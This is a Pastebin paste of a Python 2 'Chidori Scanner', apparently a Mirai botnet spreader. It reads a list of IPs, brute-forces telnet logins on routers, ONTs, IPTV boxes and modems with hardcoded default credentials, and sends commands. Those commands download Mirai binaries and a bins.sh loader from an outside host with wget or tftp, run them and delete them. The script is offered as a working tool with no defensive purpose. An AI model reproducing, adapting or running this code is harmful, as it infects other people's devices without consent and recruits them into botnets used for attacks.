Advertisement
miraip0ts

Chidori-Scanner

Aug 8th, 2017
4,397
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.51 KB | None | 0 0
  1. #!/usr/bin/python
  2. # Chidori Scanner
  3. # You can use a different bin then bins.sh just need to edited the following lines  24, 175, 195
  4.  
  5. import threading
  6. import sys, os, re, time, socket
  7. from Queue import *
  8. from sys import stdout
  9.  
  10. if len(sys.argv) < 3:
  11.     print "Usage: python "+sys.argv[0]+" <list> <threads>"
  12.     sys.exit()
  13.  
  14. #SHIT THAT DONT NEED TO BE CHANGED
  15. ips = open(sys.argv[1], "r").readlines()
  16. threads = int(sys.argv[2])
  17. queue = Queue()
  18. queue_count = 0
  19.  
  20. #CONFIG#
  21. cmd_mips = "cd /tmp; rm -rf *; wget http://1.1.1.1/bins/mirai.mips || tftp -r mirai.mips -g 1.1.1.1 || tftp 1.1.1.1 -g mirai.mips; cat mirai.mips > dvrHelper; chmod +x dvrHelper; ./dvrHelper; rm -rf dvrHelper"
  22. cmd_mipsel = "cd /tmp; rm -rf *; wget http://1.1.1.1/bins/mirai.mpsl || tftp -r mirai.mpsl -g 1.1.1.1 || tftp 1.1.1.1 -g mirai.mpsl; cat mirai.mpsl > dvrHelper; chmod +x dvrHelper; ./dvrHelper; rm -rf dvrHelper"
  23. cmd_arm = "cd /tmp; rm -rf *; wget http://1.1.1.1/bins/mirai.arm7; cat mirai.arm7 > dvrHelper; chmod +x dvrHelper; ./dvrHelper; rm -rf dvrHelper"
  24. bin_sh = "http://1.1.1.1/bins.sh"
  25.  
  26. #ADDING IPS TO QUEUE#
  27. for ip in ips:
  28.     queue_count += 1
  29.     stdout.write("\r[%d] Added to queue" % queue_count)
  30.     stdout.flush()
  31.     queue.put(ip)
  32. print "\n"
  33.  
  34. #USER/PASS INFO
  35. combo = ["support:support", "admin:admin", "supervisor:zyad1234", "user:user"] #dont change
  36. usernames = ["root", "admin", "root", "admin"]
  37. passwords = ["oelinux123", "admin", "admin", "skbiptv"]
  38.  
  39. #HACKIFICATION ACTION#
  40. class router(threading.Thread):
  41.     def __init__ (self, ip):
  42.         threading.Thread.__init__(self)
  43.         self.ip = str(ip).rstrip('\n')
  44.     def run(self):
  45.         end = 0
  46.         while (end == 0):
  47.             try:
  48.                 try:
  49.                     tn = socket.socket()
  50.                     tn.settimeout(8)
  51.                     tn.connect((self.ip,23))
  52.                 except Exception:
  53.                     end = 1
  54.                     tn.close()
  55.                 username = ""
  56.                 password = ""
  57.                 for passwd in combo:
  58.                     if ":n/a" in passwd:
  59.                         password=""
  60.                     else:
  61.                         password=passwd.split(":")[1]
  62.                     if "n/a:" in passwd:
  63.                         username=""
  64.                     else:
  65.                         username=passwd.split(":")[0]
  66.                     try:
  67.                         hoho = ''
  68.                         hoho += readUntil(tn, ":")
  69.                         if "BCM" in hoho:
  70.                             tn.send(username + "\n")
  71.                             time.sleep(0.09)
  72.                         elif "6511" in hoho:
  73.                             tn.send(username + "\n")
  74.                             time.sleep(0.09)
  75.                         elif "tangox" in hoho:
  76.                             tn.send("default" + "\n")
  77.                             time.sleep(0.09)
  78.                         elif "VMG" in hoho:
  79.                             password = "1234567890"
  80.                             tn.send("adminpldt" + "\n")
  81.                             time.sleep(0.1)
  82.                         elif "mdm9625" in hoho:
  83.                             nonr00t = 1
  84.                             username = usernames[1]
  85.                             password = passwords[1]
  86.                             tn.send(username + "\n")
  87.                             time.sleep(0.1)
  88.                         elif "9615-cdp" in hoho:
  89.                             r00t = 1
  90.                             username = usernames[0]
  91.                             password = passwords[0]
  92.                             tn.send(username + "\n")
  93.                             time.sleep(0.1)
  94.                         elif "Login as:" in hoho:
  95.                             ONT = 1
  96.                             username = usernames[2]
  97.                             password = passwords[2]
  98.                             tn.send(username + "\n")
  99.                             time.sleep(0.1)
  100.                         elif "(none)" in hoho:
  101.                             skbiptv = 1
  102.                             username = usernames[3]
  103.                             password = passwords[3]
  104.                             tn.send(username + "\n")
  105.                             time.sleep(0.1)
  106.                         else:
  107.                             tn.send(username + "\n")
  108.                             time.sleep(0.1)
  109.                     except Exception:
  110.                         end = 1
  111.                         tn.close()
  112.                     try:
  113.                         hoho = ''
  114.                         hoho += readUntil(tn, "assword:")
  115.                         if "assword" in hoho:
  116.                             tn.send(password + "\n")
  117.                             time.sleep(0.8)
  118.                         else:
  119.                             pass
  120.                     except Exception:
  121.                         end = 1
  122.                         tn.close()
  123.                     try:
  124.                         prompt = ''
  125.                         prompt += tn.recv(40960)
  126.                         if ">" in prompt:
  127.                             tn.send("cat | sh" + "\n")
  128.                             time.sleep(0.1)
  129.                             tn.send("sh" + "\n")
  130.                             time.sleep(0.1)
  131.                             tn.send(cmd_mips + "\n")
  132.                             print "\033[32m[%s] xDSL Command Sent!\033[37m"%(self.ip)
  133.                             time.sleep(10)
  134.                             tn.close()
  135.                             end = 1
  136.                         elif "default@" in prompt:
  137.                             tn.send(cmd_mipsel + "\n")
  138.                             print "\033[36m[%s] TangoX Command Sent!\033[37m"%(self.ip)
  139.                             time.sleep(10)
  140.                             tn.close()
  141.                             end = 1
  142.                         elif "Number:" in prompt:
  143.                             tn.send("24" + "\n")
  144.                             time.sleep(0.5)
  145.                             tn.send("8" + "\n")
  146.                             time.sleep(0.5)
  147.                             tn.send(cmd_mips + "\n")
  148.                             print "\033[35m[%s] VMG Command Sent!\033[37m"%(self.ip)
  149.                             time.sleep(10)
  150.                             tn.close()
  151.                             end = 1
  152.                         elif r00t:
  153.                             tn.send(cmd_arm + "\n")
  154.                             print "\033[33m[%s] Phone Command Sent!\033[37m"%(self.ip)
  155.                             time.sleep(10)
  156.                             tn.close()
  157.                             end = 1
  158.                         elif nonr00t:
  159.                             tn.send("su" + "\n")
  160.                             readUntil(tn, "Password:")
  161.                             tn.send(passwords[0] + "\n")
  162.                             time.sleep(0.5)
  163.                             tn.send(cmd_arm + "\n")
  164.                             print "\033[33m[%s] Phone Command Sent!\033[37m"%(self.ip)
  165.                             time.sleep(10)
  166.                             tn.close()
  167.                             end = 1
  168.                         elif ONT:
  169.                             tn.send("enable" + "\n")
  170.                             time.sleep(0.2)
  171.                             tn.send("system" + "\n")
  172.                             time.sleep(0.2)
  173.                             tn.send("shell" + "\n")
  174.                             time.sleep(0.2)
  175.                             command = "cd /tmp; wget "+bin_sh+"; sh bins.sh; rm -rf bins.sh"
  176.                             tn.send(command + "\n")
  177.                             print "\033[34m[%s] ONT Command Sent!\033[37m"%(self.ip)
  178.                             time.sleep(10)
  179.                             tn.close()
  180.                             end = 1
  181.                         elif skbiptv:
  182.                             tn.send(cmd_mips + "\n")
  183.                             print "\033[34m[%s] SKBIPTV Command Sent!\033[37m"%(self.ip)
  184.                             time.sleep(10)
  185.                             tn.close()
  186.                             end = 1
  187.                         else:
  188.                             if "#" in prompt or "$" in prompt:
  189.                                 tn.send("sh" + "\n")
  190.                                 time.sleep(0.2)
  191.                                 tn.send("shell" + "\n")
  192.                                 time.sleep(0.2)
  193.                                 tn.send("system shell" + "\n")
  194.                                 time.sleep(0.2)
  195.                                 command = "cd /tmp; wget "+bin_sh+"; sh bins.sh; rm -rf bins.sh"
  196.                                 tn.send(command + "\n")
  197.                                 print "\033[37m[%s] Command Sent!\033[37m"%(self.ip)
  198.                                 time.sleep(20)
  199.                                 tn.close()
  200.                                 end = 1
  201.                             else:
  202.                                 pass
  203.                     except Exception:
  204.                         end = 1
  205.                         tn.close()
  206.             except:
  207.                 pass
  208.  
  209. #SOCKET READ UNTIL#
  210. def readUntil(tn, string, timeout=10):
  211.     buf = ''
  212.     start_time = time.time()
  213.     while time.time() - start_time < timeout:
  214.         buf += tn.recv(2048)
  215.         time.sleep(0.01)
  216.         if string in buf: return buf
  217.     raise Exception('TIMEOUT!')
  218.  
  219. #WORKER THREAD#
  220. def worker():
  221.     try:
  222.         while True:
  223.             try:
  224.                 iP = queue.get()
  225.                 thrd = router(iP)
  226.                 thrd.start()
  227.                 queue.task_done()
  228.                 time.sleep(0.2)
  229.             except:
  230.                 pass
  231.     except:
  232.         pass
  233.  
  234. #STARTING WORKER THREADS#
  235. for l in xrange(threads):
  236.     try:
  237.         t = threading.Thread(target=worker)
  238.         t.start()
  239.         time.sleep(0.009)
  240.     except:
  241.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement